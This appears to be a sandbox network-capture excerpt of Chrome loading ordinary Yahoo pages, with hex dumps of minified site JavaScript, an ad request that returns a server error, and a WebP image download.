2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2c 73 2e 64 65 73 74 72 6f 79 65 64 3d 21 30 2c 74 2e 6f 70 74 69 6f 6e 73 3d 65 7c 7c 7b 7d 2c 74 2e 6f 70 74 69 6f 6e 73 2e 61 64 64 54 6f 75 63 68 4d 6f 76 65 4c 69 73 74 65 6e 65 72 3d 74 2e 6f 70 74 69 6f 6e 73 2e 61 64 64 54 6f 75 63 68 4d 6f 76 65 4c 69 73 74 65 6e 65 72 7c 7c 21 31 2c 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 3d 21 21 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 26 26 74 2e 6f 70 74 69 6f 6e 73 2e 72 6f 6f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 2e 24 7b 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 7d 60 29 2c 74 2e 6f 70 74 69 6f 6e 73 2e 65 72 72 6f 72 3d 74 2e 6f 70 74 69 6f 6e 73 2e 65 72 72 6f 72 7c 7c 21 31 2c 74 2e 6f 70 74 69 6f 6e 73 Data Ascii: ,s.destroyed=!0,t.options=e\|\|{},t.options.addTouchMoveListener=t.options.addTouchMoveListener\|\|!1,t.options.container=!!t.options.containerClass&&t.options.root.querySelectorAll(`.${t.options.containerClass}`),t.options.error=t.options.error\|\|!1,t.options
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6f 76 65 4c 69 73 74 65 6e 65 72 3a 65 2c 70 65 6e 64 69 6e 67 43 6c 61 73 73 3a 61 7d 3d 74 2e 6f 70 74 69 6f 6e 73 3b 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 26 26 28 30 2c 6f 2e 65 61 63 68 29 28 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 2c 28 65 3d 3e 7b 28 30 2c 6f 2e 75 6e 62 69 6e 64 45 76 65 6e 74 29 28 65 2c 22 73 63 72 6f 6c 6c 22 2c 73 2e 76 61 6c 69 64 61 74 65 44 29 7d 29 29 3b 66 6f 72 28 6c 65 74 20 74 3d 30 3b 74 3c 73 2e 63 6f 75 6e 74 3b 74 2b 2b 29 7b 63 6f 6e 73 74 20 65 3d 73 2e 65 6c 65 6d 65 6e 74 73 5b 74 5d 3b 28 30 2c 6f 2e 72 65 6d 6f 76 65 43 6c 61 73 73 29 28 65 2c 61 29 7d 28 30 2c 6f 2e 75 6e 62 69 6e 64 45 76 65 6e 74 29 28 77 69 6e 64 6f 77 2c 22 73 63 72 6f 6c 6c 22 2c 73 2e 76 61 6c 69 64 Data Ascii: oveListener:e,pendingClass:a}=t.options;t.options.container&&(0,o.each)(t.options.container,(e=>{(0,o.unbindEvent)(e,"scroll",s.validateD)}));for(let t=0;t<s.count;t++){const e=s.elements[t];(0,o.removeClass)(e,a)}(0,o.unbindEvent)(window,"scroll",s.valid
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 75 65 3a 21 30 7d 29 2c 74 2e 76 69 73 69 62 69 6c 69 74 79 4d 65 74 61 3d 74 2e 75 6e 62 69 6e 64 45 76 65 6e 74 3d 74 2e 74 68 72 6f 74 74 6c 65 3d 74 2e 73 65 74 41 74 74 72 73 3d 74 2e 73 65 74 41 74 74 72 3d 74 2e 72 65 73 75 6d 65 49 66 72 61 6d 65 3d 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 3d 74 2e 72 65 6d 6f 76 65 41 74 74 72 3d 74 2e 72 65 61 64 79 3d 74 2e 70 61 72 73 65 55 72 6c 3d 74 2e 6c 6f 61 64 53 63 72 69 70 74 53 79 6e 63 3d 74 2e 6c 6f 61 64 43 53 53 53 79 6e 63 3d 74 2e 6c 61 7a 79 4c 6f 61 64 4f 6e 63 65 4f 6e 6c 79 3d 74 2e 69 73 4e 6f 64 65 4e 61 6d 65 3d 74 2e 68 61 73 43 6c 61 73 73 3d 74 2e 68 61 6e 64 6c 65 53 6f 75 72 63 65 73 3d 74 2e 68 61 6e 64 6c 65 53 6f 75 72 63 65 3d 74 2e 67 65 74 51 75 65 72 79 53 74 72 69 6e 67 3d 74 Data Ascii: ue:!0}),t.visibilityMeta=t.unbindEvent=t.throttle=t.setAttrs=t.setAttr=t.resumeIframe=t.removeClass=t.removeAttr=t.ready=t.parseUrl=t.loadScriptSync=t.loadCSSSync=t.lazyLoadOnceOnly=t.isNodeName=t.hasClass=t.handleSources=t.handleSource=t.getQueryString=t
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 26 26 28 73 3d 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 74 29 29 2c 73 7d 3b 74 2e 74 68 72 6f 74 74 6c 65 3d 28 65 2c 74 2c 73 29 3d 3e 7b 6c 65 74 20 6f 3d 30 3b 72 65 74 75 72 6e 28 2e 2e 2e 61 29 3d 3e 7b 63 6f 6e 73 74 20 69 3d 2b 6e 65 77 20 44 61 74 65 3b 69 2d 6f 3c 74 7c 7c 28 6f 3d 69 2c 65 2e 61 70 70 6c 79 28 73 2c 61 29 29 7d 7d 3b 74 2e 64 65 62 6f 75 6e 63 65 3d 28 65 2c 74 2c 73 29 3d 3e 7b 6c 65 74 20 6f 3b 72 65 74 75 72 6e 28 2e 2e 2e 61 29 3d 3e 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 28 28 Data Ascii: .getComputedStyle&&(s=document.defaultView.getComputedStyle(e,null).getPropertyValue(t)),s};t.throttle=(e,t,s)=>{let o=0;return(...a)=>{const i=+new Date;i-o<t\|\|(o=i,e.apply(s,a))}};t.debounce=(e,t,s)=>{let o;return(...a)=>{clearTimeout(o),o=setTimeout(((
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 65 61 64 79 53 74 61 74 65 3f 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 63 61 70 74 75 72 65 3a 21 31 2c 70 61 73 73 69 76 65 3a 21 30 7d 29 3a 65 28 29 7d 3b 63 6f 6e 73 74 20 68 3d 28 65 2c 74 3d 28 28 29 3d 3e 7b 7d 29 2c 73 2c 6f 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 61 3d 30 29 3d 3e 7b 69 66 28 73 26 26 64 28 77 69 6e 64 6f 77 2c 73 2e 73 70 6c 69 74 28 22 2e 22 29 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 28 29 3b 63 6f 6e 73 74 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 69 2e 73 72 63 3d 65 2c 69 2e 74 79 70 65 3d 6f 2c 69 2e 61 73 79 6e 63 3d 21 30 2c 69 2e 64 Data Ascii: eadyState?document.addEventListener("DOMContentLoaded",e,{capture:!1,passive:!0}):e()};const h=(e,t=(()=>{}),s,o="text/javascript",a=0)=>{if(s&&d(window,s.split(".")))return void t();const i=document.createElement("script");i.src=e,i.type=o,i.async=!0,i.d
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 74 20 73 3d 30 3b 69 66 28 74 29 69 66 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 74 72 79 7b 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 29 7c 7c 28 73 3d 22 62 63 6e 5f 75 6e 73 75 63 63 65 73 73 66 75 6c 22 29 7d 63 61 74 63 68 28 6f 29 7b 73 3d 22 62 63 6e 5f 65 72 72 6f 72 22 7d 65 6c 73 65 20 73 3d 22 62 63 6e 5f 75 6e 73 75 70 70 6f 72 74 65 64 22 3b 65 6c 73 65 20 73 3d 22 62 63 6e 5f 75 73 65 69 6d 67 22 3b 69 66 28 73 29 7b 65 3d 65 2b 28 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3f 22 3f 22 3a 22 26 22 29 2b 28 6e 65 77 20 44 61 74 65 Data Ascii: t s=0;if(t)if(window.navigator&&"function"==typeof window.navigator.sendBeacon)try{window.navigator.sendBeacon(e)\|\|(s="bcn_unsuccessful")}catch(o){s="bcn_error"}else s="bcn_unsupported";else s="bcn_useimg";if(s){e=e+(-1===e.indexOf("?")?"?":"&")+(new Date
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 20 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 6f 7a 48 69 64 64 65 6e 21 3d 3d 73 3f 28 74 3d 22 6d 6f 7a 48 69 64 64 65 6e 22 2c 65 3d 22 6d 6f 7a 22 2b 65 29 3a 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 73 48 69 64 64 65 6e 21 3d 3d 73 3f 28 74 3d 22 6d 73 48 69 64 64 65 6e 22 2c 65 3d 22 6d 73 22 2b 65 29 3a 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 77 65 62 6b 69 74 48 69 64 64 65 6e 21 3d 3d 73 26 26 28 74 3d 22 77 65 62 6b 69 74 48 69 64 64 65 6e 22 2c 65 3d 22 77 65 62 6b 69 74 22 2b 65 29 2c 7b 68 69 64 64 65 6e 3a 74 2c 76 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 3a 65 7d 7d 29 28 29 7d 2c 22 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 Data Ascii: s="undefined";return typeof document.mozHidden!==s?(t="mozHidden",e="moz"+e):typeof document.msHidden!==s?(t="msHidden",e="ms"+e):typeof document.webkitHidden!==s&&(t="webkitHidden",e="webkit"+e),{hidden:t,visibilityChange:e}})()},"./node_modules/@vzmi/w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49879	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	945	OUT	GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=1sbetl5j2qvpa&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A
2024-04-27 22:41:54 UTC	576	IN	HTTP/1.1 500 Internal Server Error referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-nativeAd content-length: 17 etag: W/"11-9VbgaIcEenVDneJO0QQdjtlpjgE" date: Sat, 27 Apr 2024 22:41:54 GMT x-envoy-upstream-service-time: 19 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* X-Bypass-Ssl-Transform: 1 Age: 0
2024-04-27 22:41:54 UTC	962	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-04-27 22:41:54 UTC	17	IN	Data Raw: 4d 69 73 73 69 6e 67 20 61 64 73 20 61 72 72 61 79 Data Ascii: Missing ads array

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49880	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	750	OUT	GET /uu/api/res/1.2/jMW9TnmcMAOJFMuiiKZolQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/5a7962ba37d45b87596e3ec992be838a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	1284	IN	HTTP/1.1 200 OK Content-Length: 33464 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 369726201825783549339090578576958215252,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="5a7962ba37d45b87596e3ec992be838a.webp" Edge-Cache-Tag: 369726201825783549339090578576958215252,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "553057a024931171ab8c3d85d9dfbb31" Last-Modified: Fri, 26 Apr 2024 19:05:32 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=33464,owidth=960,oheight=540,obytes=131460,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 5fe3e3b31cebce9be2b445346d55d80b Accept-Ranges: bytes Date: Fri, 26 Apr 2024 19:05:31 GMT X-Served-By: cache-iad-kiad7000139-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714158331.714675,VS0,VE505 Age: 99386 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 5fe3e3b31cebce9be2b445346d55d80b cld_by: cache-iad-kiad7000139-IAD cld_latency: 505 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-04-27 22:41:54 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 52 49 46 46 b0 82 00 00 57 45 42 50 56 50 38 20 a4 82 00 00 b0 d3 01 9d 01 2a 18 02 1c 01 3e 79 32 94 46 24 a3 22 21 30 15 3c 80 90 0f 09 69 68 01 00 ae f0 58 16 11 c7 5f d7 8b b9 e3 df e9 5f 73 3c 13 fc eb eb ff dd 7f 8d ff 3d fb 31 ee b5 89 7e ce 75 14 ef df fb 9f e7 3d ae ff 71 fb 5b e3 8f cd 3d 42 3f 39 fe c9 ff 2b d4 7d fd bd ca fc 5f 40 bf 81 ff 17 e7 45 fa 3e 71 7e f9 fe df d8 13 f6 17 d4 1f 01 7f 5d f6 04 fe c1 fe ab f6 bf de 13 fe 3f 2a 3f b6 7f ce f6 0f e9 95 fb df ff ff ff ff c5 1a 6f 86 4e 31 58 be 4e 8e 93 04 b4 8e 14 d9 f1 77 98 70 32 9e a4 dc 3a 1a 75 98 cc c7 c5 79 d0 3d 11 f1 95 61 6d 6d 09 2f 38 c0 cf 19 e4 45 2d f8 7e 65 1d b9 c4 81 8f 33 b4 ba d7 19 ed 8c 1c 70 e3 68 d4 04 89 a2 9c 2f 67 c5 b5 f8 33 51 fc 2b 1f c1 d5 b0 1c 64 95 95 5d Data Ascii: RIFFWEBPVP8 >y2F$"!0<ihX__s<=1~u=q[=B?9+}_@E>q~]??oN1XNwp2:uy=amm/8E-~e3ph/g3Q+d]
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 50 f9 fa 7b 92 18 2d 50 ef 69 c1 b9 61 f6 ca 0c 58 a7 52 2a 5c 48 68 5f 9e cf e4 2e 69 df d0 9f e0 ff e7 c9 a2 4d f4 28 14 52 9b 8d 7d a3 b8 99 22 70 2c fd ec 01 5e 65 03 e1 73 40 d2 b8 4d e1 a4 d5 0a 95 24 3d d1 9b fb 61 95 48 a8 e4 7d 99 3b a4 bb 22 17 bd ad a0 b4 c0 8f de a8 99 b6 d4 ab 08 8f 99 79 5c 29 1b bf b2 db 98 17 b3 e4 62 a2 1b c6 d4 47 4d 2b 0a 4f 6d 3b 45 69 41 89 35 0e e9 36 4a f5 1d 2f 25 ef ba 86 2f 01 bb 0e 3f 07 2f aa 6e 79 bf b2 30 08 3d d9 d3 a7 28 27 a0 63 58 f0 1a 23 01 64 20 65 32 2f 2d 8b bc 65 57 20 c2 ff e5 67 c1 c7 73 2a 18 46 d5 bb e0 19 99 cf 91 b5 ae 78 db e8 5a 5a 5f 97 3d c6 ef 70 b3 3f 30 4c 25 18 2b 27 26 ba 59 f9 6e 0a 07 e7 b4 91 08 ce 12 05 4f 2d f8 c3 a0 e8 25 bc 32 d1 42 9b f9 bf 8c 3b 8b 1e 21 a1 07 09 ce dc 4b 40 Data Ascii: P{-PiaXR\Hh_.iM(R}"p,^es@M$=aH};"y\)bGM+Om;EiA56J/%/?/ny0=('cX#d e2/-eW gsFxZZ_=p?0L%+'&YnO-%2B;!K@
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 8a 4c 06 e8 79 5b 85 45 7c 4e a8 0b 91 9d a5 a7 1d 26 27 c5 2d bc 2f 9b fc 4d 5f 2e ee 26 fc 74 e9 f0 ee d1 14 bd ec d6 c4 5f c3 4e 0a 4a 59 6c dd 98 89 c6 59 88 37 da 0f e7 34 b7 b5 03 5b aa a8 97 c9 d3 7e c5 a6 94 44 73 a7 97 af 02 09 7e 53 71 de bb c7 88 5e ae 07 1d 28 eb 9c 17 b4 ee 3b 8a 93 38 03 11 93 cf 4d c9 80 0b 9a 19 41 62 03 9e 9d 8b a8 4a 08 61 01 c9 b7 7d 7c 16 1a 56 00 d7 24 0d a0 d4 f0 55 aa de b8 65 84 0b b2 8c d5 4c 5e ac 77 22 81 78 21 8b 98 2e db 09 7b 84 8b f2 9e e1 75 d9 c5 dc ab e7 17 dd 15 8e b3 51 74 78 1a 19 ea d8 62 2a 90 fe 85 f1 32 a1 d7 ee 42 03 1e 8b 61 ab fb 50 c3 04 fc 62 5f 2a b3 52 bb ab 75 84 12 ae ed be 07 ed 6c 5d 4b 71 3b 7c 92 a2 f6 ce d8 9a ab 80 fc 2b 41 2e d7 23 9d 91 d6 e4 4d 24 6d ee 31 09 5d 15 b0 5f 50 55 d7 Data Ascii: Ly[E\|N&'-/M_.&t_NJYlY74[~Ds~Sq^(;8MAbJa}\|V$UeL^w"x!.{uQtxb2BaPb_Rul]Kq;\|+A.#M$m1]_PU
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 22 e7 7e b7 3e d8 40 6c 3a c1 02 52 58 98 e6 a0 91 f9 30 48 89 71 1c c6 e0 42 54 9d b3 56 78 09 6d 35 7c f3 02 37 2c c2 4f cd 35 b5 fa c2 2f db d8 e4 9e a5 df 89 a2 32 56 c8 fc db 75 de 8c ad 47 72 d9 ff 51 0b 7c 27 b6 31 41 85 d4 73 a2 8a 32 d8 cb 24 af 76 19 f2 d0 6f bd 4a 66 6f 53 d2 2e 4d 00 32 83 0c 7e 58 b4 8b ea f0 75 b2 76 1c f8 a3 72 33 7d 38 6a f9 06 6e fd c2 99 cb e1 6f d7 73 8d 45 90 d3 3e eb d5 f7 0e 96 da 8f e9 f5 7a 2a 95 2d c2 e1 17 05 ae c4 c7 48 ef 9d ef 39 30 ef 17 3c 6a 88 85 06 40 62 ee f7 51 5a 70 75 8c 37 41 5f 97 4f eb a1 65 ef a2 01 0a 85 20 f3 73 80 de 4f 35 bd af 0e 67 83 86 b5 26 8d 00 87 d8 38 d7 ba cd 42 1d e5 59 f2 f6 c2 42 f4 2c da 72 1d ca eb f2 b0 8c d7 da a1 53 29 9a d8 bf d7 c0 0e a6 de 3f 39 30 52 74 0b 6a 14 aa e4 c3 Data Ascii: "~>@l:RX0HqBTVxm5\|7,O5/2VuGrQ\|'1As2$voJfoS.M2~Xuvr3}8jnosE>z*-H90<j@bQZpu7A_Oe sO5g&8BYB,rS)?90Rtj
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 8f c2 d6 1d 38 ba fb 3e 38 2b f4 ff a8 0b 74 d5 c6 cd 12 59 aa 08 a8 af c3 78 27 5c 24 06 bf 3f 57 a0 79 98 3b 86 77 0a a7 b0 48 04 e9 8e 9c 9c 26 1b 06 08 b3 1a 5f 1e 6c 34 da 5d 6d cd 36 40 df 49 68 f1 ea bf 8d c4 1c 96 95 e3 b9 52 40 51 dd 28 a9 f7 db bc 6e 70 0c a9 ba 6d e7 f7 f4 f9 f9 f2 83 b4 92 81 52 d3 fe 59 ab 61 52 39 f7 5f 29 50 db af ba 20 e1 e5 34 81 49 b4 79 7a 94 e6 05 68 a1 fb a6 92 6d 3e c0 25 12 07 b0 e7 1c 71 78 6c a5 20 37 05 c8 a6 80 9d 78 c4 f7 25 01 e2 6a 5e df 2f 40 87 b2 fb ea 2f 89 84 14 7d 52 aa 59 8d e7 23 e4 ea 0c 05 bd a0 56 56 eb 11 39 37 19 59 46 1d a4 b0 b0 f6 d0 24 1c a1 e0 38 a3 1d f8 a2 ed 7f f9 a8 1b b7 b9 21 62 9c e5 b9 1f e5 39 db c6 2c 7d 2e 30 34 92 ad af df 0c c9 3b e3 45 0e 5f 52 f8 aa 5d e7 de 3d 20 37 3d 2e 48 Data Ascii: 8>8+tYx'\$?Wy;wH&_l4]m6@IhR@Q(npmRYaR9_)P 4Iyzhm>%qxl 7x%j^/@/}RY#VV97YF$8!b9,}.04;E_R]= 7=.H
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 0f f9 07 70 6f 35 86 ae 04 0e d8 53 22 30 21 e0 06 0b 70 2a 02 d3 b8 11 83 f6 80 94 ba 81 2f 7b 67 28 3e 4a be b1 49 9a 40 1f 9f 0f 21 54 c6 f3 31 e3 99 69 f9 bf 54 e9 86 ed e8 e9 a2 1b 66 4e e4 a0 f0 55 92 a7 dd 8f 33 ea ff 53 87 46 fa ae b1 b1 ec f2 32 05 77 77 32 91 13 18 6e c3 a0 45 cc 27 f5 76 54 29 32 5e 00 82 d7 2b 39 0d f6 e6 44 e4 62 d0 59 37 dd ac fb 6d f6 d3 f0 05 d8 13 24 c6 a8 c6 6f d4 db 7e 04 26 65 b4 f2 fb 7c 64 a2 94 27 2a fd 20 c4 a0 89 cb 73 70 14 08 ea 42 07 55 da 33 d4 02 43 50 e2 6d 72 74 ef c4 14 a5 f7 22 4b f4 64 32 64 56 69 fc 97 fe 60 2b 0d 15 9f 2c cc 68 c0 8a 19 46 dc 61 6f 84 00 00 af 6c 9d fb f8 36 e1 bb 2d c5 f6 f0 62 28 de 55 af 2f bc 6d 41 bf 57 e8 0c 57 33 91 71 cf d8 a6 62 da 99 d0 0a 13 e9 7c 80 d9 eb 7a 63 9c 95 62 38 Data Ascii: po5S"0!p/{g(>JI@!T1iTfNU3SF2ww2nE'vT)2^+9DbY7m$o~&e\|d' spBU3CPmrt"Kd2dVi`+,hFaol6-b(U/mAWW3qb\|zcb8
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 48 2a dd 8c ae 94 a1 d8 b9 28 8a 94 db 38 34 3b da 67 cc bb a3 81 23 68 34 dd 72 c1 8b d4 38 73 58 ba be 04 e6 37 57 6b 8f 33 e8 e8 06 9c d9 db 79 85 d0 aa 66 7b 3d 12 ed 83 4c 29 fe f1 fd dd 4f b7 35 23 c7 87 a1 dc 76 7f f4 8e 0e a6 fc f2 05 50 15 01 64 05 74 cc 8d 08 02 38 15 3a 77 66 da 7d a9 7d f7 89 e8 e7 8e a8 69 b3 c0 04 0f ea 8f b3 2a 17 f2 af 85 0e 5b 90 4f f4 d4 4f 7a a0 23 d0 18 51 fd 54 f5 75 38 c1 2b aa 57 32 3b 4c 7e f2 14 9a 01 5d d8 78 14 a9 f6 85 36 96 e1 23 f7 af 29 11 6e 7e 17 17 04 41 37 bb 92 df 39 ce 71 80 f6 f8 b5 2e 05 ba 76 e5 c5 aa 11 78 8f f5 7b 9e 7d 19 6d 50 c9 fc 0f 83 cf 53 50 0c 86 72 11 93 04 97 80 38 ff 1b 3f be 94 7b 75 a3 12 d0 41 84 53 9f c9 33 75 03 ff 91 99 c1 74 3d c6 48 eb b2 a7 b7 71 cb 00 e0 98 ba 8c b7 52 78 fe Data Ascii: H(84;g#h4r8sX7Wk3yf{=L)O5#vPdt8:wf}}i[OOz#QTu8+W2;L~]x6#)n~A79q.vx{}mPSPr8?{uAS3ut=HqRx
